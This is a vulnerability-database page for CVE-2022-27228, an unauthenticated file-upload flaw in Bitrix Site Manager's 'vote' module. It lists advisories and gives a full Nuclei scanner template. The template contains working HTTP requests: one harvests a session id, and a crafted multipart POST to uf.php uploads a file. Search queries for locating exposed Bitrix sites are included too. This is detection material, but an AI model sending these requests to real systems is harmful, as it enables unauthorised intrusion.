| Reporter | Title | Published | Views | Family All 13 |
|---|---|---|---|---|
| CVE-2022-27228 | 22 Mar 202218:15 | – | attackerkb | |
| Vulnerability of the “vote” module in the content management system (CMS) of 1C-Bitrix: Website management related to the ability to send specially crafted network packets, allowing attackers to upload arbitrary files into the vulnerable system. | 4 Mar 202200:00 | – | bdu_fstec | |
| CVE-2022-27228 | 27 Jan 202307:46 | – | circl | |
| Bitrix Site Manager 输入验证错误漏洞 | 22 Mar 202200:00 | – | cnnvd | |
| CVE-2022-27228 | 22 Mar 202217:27 | – | cve | |
| CVE-2022-27228 | 22 Mar 202217:27 | – | cvelist | |
| EUVD-2022-31737 | 22 Mar 202217:27 | – | euvd | |
| CVE-2022-27228 | 22 Mar 202218:15 | – | nvd | |
| CVE-2022-27228 | 22 Mar 202218:15 | – | osv | |
| Code injection | 22 Mar 202218:15 | – | prion |
id: CVE-2022-27228
info:
name: Bitrix Site Manager - Remote Code Execution
author: theamanrawat
severity: critical
description: In the vote (aka "Polls, Votes") module before 21.0.100 of Bitrix Site Manager, a remote unauthenticated attacker can execute arbitrary code.
impact: Unauthenticated attackers can execute arbitrary code remotely, potentially leading to full system compromise.
remediation: Update to version 21.0.100 or later.
reference:
- https://alt3r.eg0.ru/p0c5/attacking_bitrix.pdf
- https://pentestnotes.ru/notes/bitrix_pentest_full/#rce-vote_agentphp-cve-2022-27228
- https://nvd.nist.gov/vuln/detail/CVE-2022-27228
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2022-27228
cwe-id: CWE-20
epss-score: 0.20318
epss-percentile: 0.97165
cpe: cpe:2.3:a:bitrix24:bitrix24:*:*:*:*:*:*:*:*
metadata:
verified: false
vendor: bitrix24
product: bitrix24
shodan-query: "/bitrix/p3p.xml"
fofa-query: body="/bitrix/"
tags: cve,cve2022,bitrix,file-upload,rce,intrusive,vkev
variables:
filename: "{{to_lower(rand_text_alpha(5))}}"
marker: "{{randstr}}"
flow: http(1) && http(2)
http:
- raw:
- |
GET /bitrix/admin/ HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- "contains(body, 'bitrix_sessid')"
internal: true
extractors:
- type: regex
group: 1
name: session_id
regex:
- "'bitrix_sessid':'(.*?)'"
internal: true
- raw:
- |
POST /bitrix/tools/vote/uf.php?attachId[ENTITY_TYPE]=CFileUploader&attachId[ENTITY_ID][events][onFileIsStarted][]=CAllAgent&attachId[ENTITY_ID][events][onFileIsStarted][]=Update&attachId[MODULE_ID]=vote&action=vote HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=---------------------------xxxxxxxxxxxx
-----------------------------xxxxxxxxxxxx
Content-Disposition: form-data; name="bxu_files[bitrix50][NAME]"
{{filename}}.txt
-----------------------------xxxxxxxxxxxx
Content-Disposition: form-data; name="bxu_files[bitrix50][NAME]";filename="{{filename}}.jpg"
Content-Type: image/jpeg
{{marker}}
-----------------------------xxxxxxxxxxxx
Content-Disposition: form-data; name="bxu_info[packageIndex]"
pIndex101
-----------------------------xxxxxxxxxxxx
Content-Disposition: form-data; name="bxu_info[mode]"
upload
-----------------------------xxxxxxxxxxxx
Content-Disposition: form-data; name="sessid"
{{session_id}}
-----------------------------xxxxxxxxxxxx
Content-Disposition: form-data; name="bxu_info[filesCount]"
1
-----------------------------xxxxxxxxxxxx--
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, "\"status\":\"done\"")'
condition: and
# digest: 490a0046304402200a8e7a9cd9a6ec756a0436e411f51f6fa9871141f89f8a10aa7ce6e26ac69e69022077c63f9721bc9a148e9419c845337c4c8d5bc8de8fdb82cb62d2b72faaf5807b:922c64590222798bb761d5b6d8e72950Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation